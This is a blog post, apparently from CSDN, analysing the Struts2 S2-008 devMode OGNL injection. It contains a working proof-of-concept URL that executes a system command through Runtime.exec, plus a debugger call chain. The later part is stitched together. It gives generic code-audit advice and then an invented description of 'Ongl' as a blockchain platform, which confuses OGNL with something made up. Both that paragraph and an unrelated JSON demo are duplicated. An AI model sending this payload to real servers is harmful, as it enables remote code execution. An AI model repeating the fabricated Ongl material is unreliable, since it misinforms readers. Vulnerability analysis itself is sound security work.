S2 008 漏洞分析

0x00 前言

由于CSDN原力获取机制,所以基本上一天转过来一篇。

0x01 正文

1.环境

环境推荐vulhub,或者git上拉一个就行。

poc:

devmode.action
?debug=command
&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29)

2.漏洞分析

主要原理就是当s2开启devMode的时候,DebuggingInterceptor 回去检测debug参数是否为console,command,browser,在command,browser的时候会触发stack.findValue。

在这里插入图片描述
在这里插入图片描述这里按顺序分析即可,最后可以看到ognlUtil.getValue

在这里插入图片描述
接着就会进入ognl的操作

在这里插入图片描述最终的执行的位置:
在这里插入图片描述
最后贴上调用链:

getValueBody:53, ASTAssign (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValueBody:63, ASTSequence (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValue:494, Ognl (ognl)
getValue:458, Ognl (ognl)
getValue:213, OgnlUtil (com.opensymphony.xwork2.ognl)
getValueUsingOgnl:277, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:260, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:242, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:222, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:284, OgnlValueStack (com.opensymphony.xwork2.ognl)
intercept:219, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:145, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:171, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:176, I18nInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:164, ServletConfigInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:190, AliasInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:187, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
execute:52, StrutsActionProxy (org.apache.struts2.impl)
serviceAction:498, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
invoke:233, StandardWrapperValve (org.apache.catalina.core)
invoke:191, StandardContextValve (org.apache.catalina.core)
invoke:127, StandardHostValve (org.apache.catalina.core)
invoke:103, ErrorReportValve (org.apache.catalina.valves)
invoke:109, StandardEngineValve (org.apache.catalina.core)
service:293, CoyoteAdapter (org.apache.catalina.connector)
process:859, Http11Processor (org.apache.coyote.http11)
process:610, Http11Protocol$Http11ConnectionHandler (org.apache.coyote.http11)
run:503, JIoEndpoint$Worker (org.apache.tomcat.util.net)
run:748, Thread (java.lang)

以上

总结

代码审计的学习方法

以下是学习代码审计的方法:

  1. 学习编程语言:成为一名优秀的代码审计师,首先需要了解一些基本的编程知识。选择一种或多种编程语言进行深入了解,掌握它们的语法和编写代码的基本规则。

  2. 学习安全知识:为了成为一名优秀的代码审计师,还需要了解安全知识。这涉及到了解攻击者常用的攻击技术、常见漏洞、攻击技术等等。

  3. 学习常用安全工具:掌握一些常用的安全工具,如Burp Suite、OWASP Zap等,可以协助你更好地完成代码审计。

  4. 学习代码审计技术:了解代码审计的基本技术和步骤,包括代码分析、输入验证、输出编码、逻辑错误等。

  5. 实践:通过实践来提高自己的技能。你可以选择一些常见的开源软件来进行代码审计,也可以参与CTF比赛来不断锻炼自己的技能。

  6. 参与社区:加入一些安全论坛和社区,与其他安全专家交流经验和技术,寻求别人的建议和帮助。

以上是学习代码审计的常见方法,需要坚持实践和不断学习,才能成为一名出色的代码审计师。

Ongl

Ongl(Open Next Generation Ledger)是一个区块链平台,它致力于提供一个安全、高效和可扩展的去中心化应用开发和部署环境。Ongl采用了一种创新的共识算法,即Proof of Believability(PoB),这种算法既考虑了节点权重,又考虑了节点参与交易的可靠程度,从而保证了交易的安全性和公正性。Ongl的智能合约语言是基于C#语言的,这使得开发者可以非常容易地开发出智能合约,同时也支持与其他区块链平台的互操作性。Ongl还拥有一些独特的特性,例如侧链和闪电网络,它们可以使Ongl更加高效、可扩展和灵活。Ongl(Open Next Generation Ledger)是一个区块链平台,它致力于提供一个安全、高效和可扩展的去中心化应用开发和部署环境。Ongl采用了一种创新的共识算法,即Proof of Believability(PoB),这种算法既考虑了节点权重,又考虑了节点参与交易的可靠程度,从而保证了交易的安全性和公正性。Ongl的智能合约语言是基于C#语言的,这使得开发者可以非常容易地开发出智能合约,同时也支持与其他区块链平台的互操作性。Ongl还拥有一些独特的特性,例如侧链和闪电网络,它们可以使Ongl更加高效、可扩展和灵活。

Demo

一个Ongl的例子是:

{ 
  "name": "John",
  "age": 30,
  "city": "New York",
  "hobbies": ["reading", "sports"],
  "address": {
    "street": "123 Main St",
    "zip": "10001"
  }
}

这是一个表示一个人的Ongl对象。它有一个名字(name),年龄(age),城市(city),爱好(hobbies)和地址(address)。地址是一个嵌套对象,它包含街道和邮政编码。爱好是一个字符串数组,它列出了这个人的兴趣爱好。这个Ongl对象可以用来描述一个人的基本信息。一个Ongl的例子是:

{ 
  "name": "John",
  "age": 30,
  "city": "New York",
  "hobbies": ["reading", "sports"],
  "address": {
    "street": "123 Main St",
    "zip": "10001"
  }
}

这是一个表示一个人的Ongl对象。它有一个名字(name),年龄(age),城市(city),爱好(hobbies)和地址(address)。地址是一个嵌套对象,它包含街道和邮政编码。爱好是一个字符串数组,它列出了这个人的兴趣爱好。这个Ongl对象可以用来描述一个人的基本信息。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值